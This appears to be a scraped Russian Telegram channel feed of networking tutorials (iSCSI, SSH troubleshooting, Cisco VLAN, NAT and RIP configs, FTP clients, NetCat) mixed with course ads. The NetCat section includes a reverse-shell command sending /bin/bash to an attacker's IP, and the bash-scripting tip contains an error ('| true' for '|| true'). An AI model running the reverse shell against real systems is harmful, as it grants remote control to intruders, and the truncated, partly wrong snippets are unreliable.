Настройка SAN на основе iSCSI
Для демонстрации настроим SAN-сеть с использованием iSCSI — популярного и доступного варианта, использующего обычную Ethernet-сеть для передачи блоков данных.
1. Установка iSCSI-таргета (хранилища) на сервере
На сервере с ОС Linux установим программное обеспечение для работы iSCSI-таргета:
sudo apt install tgt
sudo nano /etc/tgt/conf.d/iscsi.conf
<target iqn.2024-02.example:storage>
backing-store /dev/sdb
initiator-address 192.168.1.100
</target>
sudo systemctl restart tgt
sudo tgtadm --mode target --op show
sudo apt install open-iscsi
sudo iscsiadm -m discovery -t sendtargets -p 192.168.1.10
sudo iscsiadm -m node -T iqn.2024-02.example:storage -p 192.168.1.10 --login
Что такое SAN и зачем он нужен?
Storage Area Network (SAN) — это высокоскоростная специализированная сеть, предназначенная для объединения серверов и устройств хранения данных.
Основное отличие SAN от NAS в том, что SAN использует блочный доступ, а NAS — файловый.
Основные причины ошибки «SSH Connection Refused»
Продолжим разбор
5️⃣ Брандмауэр препятствует подключению
Брандмауэр может блокировать входящие соединения по порту SSH, что приводит к ошибке «Connection Refused». Чтобы проверить, разрешает ли брандмауэр подключение по SSH, используйте команду:
sudo ufw allow ssh
sudo lsof -i:22
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
ssh -v [server_ip]
ssh -vv [server_ip]
ssh -vvv [server_ip]
IL vs. QUIC: два интересных, но не самых известных протокола
Когда речь заходит о сетевых протоколах, все сразу вспоминают TCP и UDP. Но в мире сетевых технологий есть множество менее известных, но всё же любопытных решений.
Давайте разберём два таких протокола: IL и QUIC. Они создавались для разных задач, но оба по-своему интересны.
Это делало его удобным для небольших кластеров и систем с предсказуемой сетью, но не очень подходило для масштабных сетей с переменной загрузкой.
Кроме того, QUIC более устойчив к потере пакетов, потому что один медленный поток не тормозит другие.
ECN (Explicit Congestion Notification) — управляем перегрузкой сети
Когда сеть перегружена, маршрутизаторы обычно сбрасывают пакеты. Это заставляет протокол TCP снижать скорость передачи, но ведёт к потерям данных и необходимости их повторной отправки.
Такой механизм работает, но он неэффективен: задержки увеличиваются, а сеть используется нерационально.
ECN используется в современных дата-центрах, облачных сервисах и в приложениях, чувствительных к задержкам, таких как VoIP и онлайн-игры.
Продвинутые возможности NetCat
Часть 2
4️⃣ Передача каталогов через tar
NetCat позволяет передавать целые каталоги, используя tar.
Пример: Передача папки my_folder:
На принимающей стороне:
$ nc -l 12345 | tar -xvf -
$ tar -cvf - my_folder | nc <IP-адрес> 12345
$ nc -l 8080 | nc 127.0.0.1 9090
$ while true; do nc -l 12345; done
$ echo "Test multicast" | nc -u 224.0.0.1 5000Читать полностью…
Продвинутые возможности NetCat — Часть 1
1️⃣Перехват и анализ данных
NetCat можно использовать как простой сниффер для анализа данных, проходящих через сеть.
Пример: Прокси для перехвата HTTP-запросов:
$ nc -l 8080
$ curl -x http://<IP-адрес>:8080 http://example.com
$ nc -l -p 4444
$ nc <IP-адрес атакующего> 4444 -e /bin/bash
$ nc -l 12345 | gzip -d > file.txt
$ gzip -c file.txt | nc <IP-адрес> 12345Читать полностью…
Команда nc (NetCat): «Сетевой швейцарский армейский нож»
NetCat, или просто nc, — это мощная и универсальная утилита для работы с сетями. Её часто называют «сетевым швейцарским ножом» из-за множества задач, которые она может выполнять.
nc поддерживает работу с TCP, UDP и UNIX-сокетами, и её возможности делают её незаменимым инструментом для администраторов и специалистов по сетевой безопасности.
Что умеет NetCat?
• Устанавливать TCP-соединения.
• Прослушивать порты TCP и UDP.
• Сканировать порты (как одиночные, так и диапазоны).
• Выступать в роли простого TCP-прокси.
• Проверять доступность удалённых портов.
• Тестировать сетевые службы и демоны.
• Передавать файлы между компьютерами в связке с другими инструментами, например, pv.
Примеры использования:
1️⃣Сканирование портов
Чтобы просканировать несколько конкретных портов на сервере, используйте следующую команду:
$ nc -zv server2.merionet.lan 21 22 80 443 3000
$ nc -zv server2.merionet.lan 20-90
$ nc -p 3000 -w 10 server2.merionet.lan 5000
🚀 На открытом вебинаре «Процессы в Linux» мы разберёмся, что такое процесс, чем он отличается от программы и научимся находить, анализировать и управлять процессами в вашей системе.
Это не просто урок — это первый шаг к освоению Linux на профессиональном уровне! Администраторы, разработчики, девопсы — мы готовим базу, которая станет фундаментом вашей карьеры в IT.
⭐ Спикер Андрей Буранов — системный администратор в VK, входит в топ-3 лучших преподавателей образовательных порталов.
Регистрируйтесь на открытый урок 28 января в 20:00 мск. Все участники вебинара получат скидку на обучение на курсе «Administrator Linux. Basic».
👉 Успейте занять своё место: https://otus.pw/KLg8G/?erid=2W5zFHkdyNG
Реклама. ООО "ОТУС ОНЛАЙН-ОБРАЗОВАНИЕ". ИНН 9705100963.
Топ-5 лучших FTP-клиентов для Linux.
Часть 2
4️⃣ cbftp
cbftp — клиент для работы с FTP/FXP, предназначенный для передачи больших файлов. Поддерживает полу-графический интерфейс с помощью ncurses.
Особенности:
• Шифрование данных с использованием AES-256.
• Интерактивные команды для управления передачей файлов.
• Встроенный просмотрщик файлов.
• Удобное управление задачами.
Установка:
Для установки потребуется скачать исходный код с GitHub и собрать программу:
git clone <репозиторий_с_программой>
cd cbftp
make
./cbftp
sudo apt install yafc # Для Debian/Ubuntu
sudo yum install yafc # Для CentOS/RHEL
sudo dnf install yafc # Для Fedora
yafc <адрес_сервера>
get <файл> # Скачивание файла.
put <файл> # Загрузка файла.
queue start # Запуск очереди задач.
bye # Завершение сеанса.
Топ-5 лучших FTP-клиентов для Linux
Протокол передачи файлов (FTP) — старейший способ обмена файлами между клиентом и сервером.
ftp <адрес_сервера>
get <файл> # Скачивание файла.
put <файл> # Загрузка файла.
bye # Завершение сеанса.
sudo apt install lftp # Для Debian/Ubuntu
sudo yum install lftp # Для CentOS/RHEL
sudo dnf install lftp # Для Fedora
lftp <адрес_сервера>
mirror -R # Загрузка содержимого папки на сервер.
mirror # Скачивание содержимого папки с сервера.
exit # Выход из программы.
sudo apt install ncftp # Для Debian/Ubuntu
sudo yum install ncftp # Для CentOS/RHEL
sudo dnf install ncftp # Для Fedora
ncftp <адрес_сервера>
get <файл> # Скачивание файла.
put <файл> # Загрузка файла.
quit # Завершение работы.
Введение в Router-on-a-Stick и настройка коммутатора
Router-on-a-Stick (роутер на палочке) — это схема подключения маршрутизатора и коммутатора с использованием одного физического интерфейса, настроенного как транк с инкапсуляцией 802.1Q.
Такой подход позволяет маршрутизатору выполнять маршрутизацию между VLAN (Inter-VLAN Routing), передавая пакеты между разными сегментами сети.
Switch# configure terminal
Switch(config)# vlan 2
Switch(config-vlan)# name voice
Switch(config-vlan)# exit
Switch(config)# interface vlan 1
Switch(config-if)# ip address 192.168.10.2 255.255.255.0
Switch(config-if)# exit
Switch(config)# interface vlan 2
Switch(config-if)# ip address 192.168.20.2 255.255.255.0
Switch(config-if)# exit
Switch(config)# interface gigabitethernet 0/1
Switch(config-if)# switchport trunk encapsulation dot1q
Switch(config-if)# switchport mode trunk
Switch(config-if)# spanning-tree portfast trunk
Настройка NAT для сложных сценариев: доступ извне
В современных сетях NAT (Network Address Translation) применяется не только для базовой трансляции адресов, но и для сложных сценариев, таких как настройка доступа к внутренним ресурсам извне, использование нескольких провайдеров, или интеграция с VPN.
В этом посте мы рассмотрим продвинутую настройку NAT на примере двух ключевых сценариев.
R1(config)# interface G0/0
R1(config-if)# ip nat inside
R1(config)# interface G0/1
R1(config-if)# ip nat outside
R1(config)# ip nat inside source static tcp 192.168.1.100 80 203.0.113.2 80
R1# show ip nat translations
Pro Inside global Inside local Outside local Outside global
tcp 203.0.113.2:80 192.168.1.100:80 --- ---
Применяем RIP на практике
Чтобы настроить RIPv2 на маршрутизаторе Cisco, сначала нужно войти в режим глобальной конфигурации. Для этого выполняется команда:
R1# configure terminal
R1(config)# router rip
R1(config-router)# version 2
R1(config-router)# network 192.168.1.0
R1(config-router)# network 10.0.0.0
R1# write memory
R1# show ip route rip
R 10.1.1.0/24 [120/1] via 192.168.1.2, 00:00:15, FastEthernet0/0
Однако у RIP есть и свои ограничения. Протокол поддерживает маршруты с максимальным числом хопов до 15, что делает его неприменимым в крупных сетях.
Введение в таблицу маршрутизации IPv4
Для сетевых администраторов понимание таблицы маршрутизации IPv4 является ключевым навыком.
192.168.10.10
) подключен к сети 192.168.10.0/24
через интерфейс G0/0/0 маршрутизатора R1 (192.168.10.1
).209.165.200.225
) подключен к R2 (209.165.200.226
) через сеть 209.165.200.224/30
.10.1.1.0/24
, к которой подключен PC2 (10.1.1.10
).R1# show ip route
Codes: L - local, C - connected, S - static, O - OSPF, D - EIGRP
Gateway of last resort is 209.165.200.226 to network 0.0.0.0
S* 0.0.0.0/0 [1/0] via 209.165.200.226, GigabitEthernet0/0/1
O 10.1.1.0 [110/2] via 209.165.200.226, 00:02:45, GigabitEthernet0/0/1
C 192.168.10.0/24 is directly connected, GigabitEthernet0/0/0
L 192.168.10.1/32 is directly connected, GigabitEthernet0/0/0
C 209.165.200.224/30 is directly connected, GigabitEthernet0/0/1
L 209.165.200.225/32 is directly connected, GigabitEthernet0/0/1
192.168.10.0/24
(сеть PC1).209.165.200.224/30
(связь между R1 и R2).10.1.1.0/24
был автоматически изучен через OSPF от R2.0.0.0.0/0
указывает на шлюз последней надежды (next hop), через который передаются все пакеты, если нет точного совпадения в таблице маршрутизации.👩💻 Открытый урок «Инструменты и методы мониторинга серверов на платформе Windows Server»
🗓 10 февраля в 20:00 МСК
🆓 Бесплатно. Урок в рамках старта курса «Администратор Windows» от Otus.
На вебинаре вы узнаете:
✔️ Основные подходы к мониторингу серверов и выявлению проблем в инфраструктуре.
✔️ Как использовать встроенные инструменты Windows Server: Performance Monitor, Event Viewer и другие.
✔️ Обзор сторонних решений для мониторинга серверов и сети.
✔️ Практические рекомендации по настройке автоматического уведомления и отчетности.
🔗 Ссылка на регистрацию: https://otus.pw/5NMFh/
#реклама
О рекламодателе
Вышло большое обновление российской программы для мониторинга серверов и сетевого оборудования "10-Страйк Мониторинг Сети Pro" версия 8.0.
Теперь можно редактировать карту сети, используя Web-интерфейс. Это значит, что можно чаще обходиться без графической консоли, в том числе при работе под Linux. Добавлена новая реакция на события в виде запуска скрипта SSH. Также улучшена работа с движком Netflow: стало можно рисовать больше графиков и диаграмм по статистике трафика.
Основные функции программы:
- Опрашивает хосты в фоновом режиме
- Выполняет множество проверок по большинству сетевых протоколов
- Реагирует на события
- Отображает данные и статистику
- Поддерживает распределенный мониторинг и Web-интерфейс
Продукт включён в реестр Минцифры. Получен сертификат совместимости с РЕД ОС.
📌Узнать больше и посмотреть видео о программе:
https://vk.cc/cI9eX3
На сайте вы также найдете другие программы: для учета ПК и железа, для администрирования.
Реклама. ИП Степанов Д.Ю. ИНН 732806262853
Наткнулись на промо новой облачной конференции. Пошли подробнее узнавать, кто её организует — оказалось, это создатель первого в России публичного облака собственной разработки.
У ребят планируется много технических докладов: от обзоров новых типов сетевых дисков до приоритетов бизнеса в области ИТ — звучит интересно.
Подробнее можете посмотреть тут
Если хочется не сидеть на месте, а активнее изучать то, как строятся стабильные, и что важно, безопасные сети, этот курс — лучший старт. Он охватывает вообще всё, что нужно для понимания всех основ коммутирования и маршрутизации.
В курсе тебя ждут 100 тестов для закрепления теории, 20 лабораторных работ для практики и даже один проект, который позволит применить полученные знания прямо в реальных условиях. И да, все это основано на Cisco CCNA.
А если вдруг возникнут вопросы — не переживай! Круглосуточная поддержка всегда рядом.
Ссылка на курс тут: https://stepik.org/a/227855
Группа с поддержкой, если возникнут трудности: /channel/Networks_anyone
ECMP (Equal-Cost Multi-Path): как интернет выбирает лучший путь
В обычной маршрутизации пакеты данных идут по одному заранее выбранному маршруту.
Но что, если у маршрутизатора есть несколько равнозначных путей до пункта назначения?
Selectel School — твой путь в IT 😎
Приглашаем тебя на Selectel School — бесплатный обучающий онлайн‑интенсив для тех, кто хочет работать в дата‑центре.
В курсе ты узнаешь об устройстве наших ЦОДов, освоишь сборку и обслуживание серверов, а также изучишь принципы настройки сетевого оборудования. Все это поможет тебе прокачать навыки инженера дата‑центра и стать сотрудником Selectel!
Активируй бота и проходи курс Selectel School: https://slc.tl/kwzhh
Реклама, АО «Селектел», ИНН: 7810962785, ERID: 2VtzqwCM58G
⚙️ Как писать красивые и безопасные bash скрипты
✔️Добавить в начало скрипта:
set -euxo pipefail
set -e
- прекращает выполнение скрипта если команда завершилась ошибкой, выводит в stderr
строку с ошибкой. Обойти эту проверку можно добавив в пайплайн к команде true: mycommand | true
.set -u
- прекращает выполнение скрипта, если встретилась несуществующая переменная.set -x
- выводит выполняемые команды в stdout
перед выполненинем.set -o pipefail
- прекращает выполнение скрипта, даже если одна из частей пайпа завершилась ошибкой. В этом случае bash-скрипт завершит выполнение, если mycommand
вернёт ошибку, не смотря на true
в конце пайплайна: mycommand | true
.Основные причины ошибки «SSH Connection Refused»
Ошибка «SSH Connection Refused» возникает, когда удаленный сервер отклоняет запрос на соединение.
Это может быть вызвано различными причинами, от отсутствия клиента или сервера SSH до неправильных настроек. Вот основные причины и их решения:
1️⃣SSH-клиент не установлен
Если на локальной машине отсутствует SSH-клиент, подключение к серверу невозможно. Проверьте, установлен ли SSH-клиент, командой:
ssh
sudo apt install openssh-client
sudo yum install openssh-client
ssh localhost
sudo apt install openssh-server
sudo yum install openssh-server
grep Port /etc/ssh/sshd_config
sudo service ssh status
sudo systemctl start sshd
sudo systemctl enable sshd
Роль VRF в сетях
Одним из важнейших аспектов применения VRF является упрощение сетевой инфраструктуры при обеспечении высокой безопасности и изоляции.
Это особенно актуально в многоклиентских средах, где каждый клиент может требовать отдельного, полностью изолированного виртуального пространства для своей сети.
Как работает VRF
Каждое виртуальное пространство в VRF имеет свои собственные таблицы маршрутизации.
С помощью этой комбинации можно обеспечивать не только изоляцию, но и оптимизацию трафика между виртуальными сетями.
Cloud или Bare Metal: где лучше запускать кластеры Kubernetes?
29 января в 12:00 Selectel проведет вебинар, на котором специалисты компании расскажут, как Managed Kubernetes на выделенных серверах поможет сократить расходы на IT-инфраструктуру до 40%, и покажут самые популярные и выгодные конфигурации серверов.
Также на вебинаре вы узнаете:
1️⃣Какие преимущества есть у Managed Kubernetes на выделенных серверах
2️⃣Для каких задач подойдет сервис Managed Kubernetes на Bare Metal
3️⃣Реальные кейсы запуска кластеров Kubernetes с воркер-нодами на выделенных серверах в Selectel
Регистрируйтесь на вебинар прямо сейчас
Реклама, АО «Селектел», ИНН: 7810962785, ERID: 2VtzqwTKR6K
Настройка маршрутизатора для Inter-VLAN Routing
На маршрутизаторе для каждого VLAN создаются под-интерфейсы (sub-interfaces), которые обрабатывают трафик между VLAN через транк.
1️⃣Подготовка физического интерфейса
Отключаем IP-адрес на основном интерфейсе, чтобы использовать его для под-интерфейсов:
Router# configure terminal
Router(config)# interface gigabitethernet 0/1
Router(config-if)# no ip address
Router(config-if)# duplex auto
Router(config-if)# speed auto
Router(config)# interface gigabitethernet 0/1.1
Router(config-subif)# encapsulation dot1q 1 native
Router(config-subif)# ip address 192.168.10.1 255.255.255.0
Router(config)# interface gigabitethernet 0/1.2
Router(config-subif)# encapsulation dot1q 2
Router(config-subif)# ip address 192.168.20.1 255.255.255.0
Router# show vlans
Router# show ip route
Резервирование канала с использованием Policy-Based NAT
Когда сеть подключена к двум интернет-провайдерам, NAT можно настроить так, чтобы определённый трафик (например, рабочие станции или видеоконференции) шёл через одного провайдера, а всё остальное — через другого.
Сетевая топология:
• Локальная сеть: 192.168.10.0/24
• Первичный провайдер: 203.0.113.0/30 (интерфейс G0/0)
• Резервный провайдер: 198.51.100.0/30 (интерфейс G0/1)
Шаги настройки:
1️⃣Объявление зон NAT:
R1(config)# interface G0/0
R1(config-if)# ip nat outside
R1(config)# interface G0/1
R1(config-if)# ip nat outside
R1(config)# interface G0/2
R1(config-if)# ip nat inside
R1(config)# ip nat pool PROVIDER1 203.0.113.2 203.0.113.2 netmask 255.255.255.252
R1(config)# ip nat pool PROVIDER2 198.51.100.2 198.51.100.2 netmask 255.255.255.252
R1(config)# access-list 1 permit 192.168.10.0 0.0.0.255
R1(config)# access-list 2 permit 192.168.20.0 0.0.0.255
R1(config)# ip nat inside source list 1 pool PROVIDER1 overload
R1(config)# ip nat inside source list 2 pool PROVIDER2 overload
R1# show ip nat statistics
Total active translations: 5 (2 static, 3 dynamic)
Outside interfaces: G0/0, G0/1
Inside interfaces: G0/2
Готовишься к собеседованию?
Разбираем для тебя самые актуальные вопросы для подготовки
Выбирай направление:
👩💻 Frontend
🖥 Backend
👩💻 JS
👩💻 Python
👩💻 Go
👩💻 Java
👩💻 C/C++
👩💻 C#
👩💻 PHP
👩💻 QA
📊 SQL
👩💻 Git
Типы протокола RIP
Routing Information Protocol (RIP) — один из старейших протоколов динамической маршрутизации, основанный на алгоритме дистанционно-векторной маршрутизации.
Несмотря на возраст, RIP до сих пор используется в небольших сетях благодаря своей простоте и удобству настройки.
RIPv2 использует мультикаст-адрес
224.0.0.9
для передачи обновлений маршрутов и поддерживает аутентификацию, что улучшает безопасность.
💻 Настоящие читы для программистов/разработчиков!
Hacking & InfoSec Base — Самая большая в телеграме библиотека книг по хакингу и ИБ;
Программистика — Лучший канал про Python;
Coding Base — огромное количество полезных ресурсов, репозиториев статей для разработчиков;
GameDev Base — Множество крутых приёмов и лайвхаков для геймдев разработчиков;
IT библиотека — самая крупная коллекция книг по программированию;
🫵 Подпишись и прокачивай свои навыки с невиданной скоростью!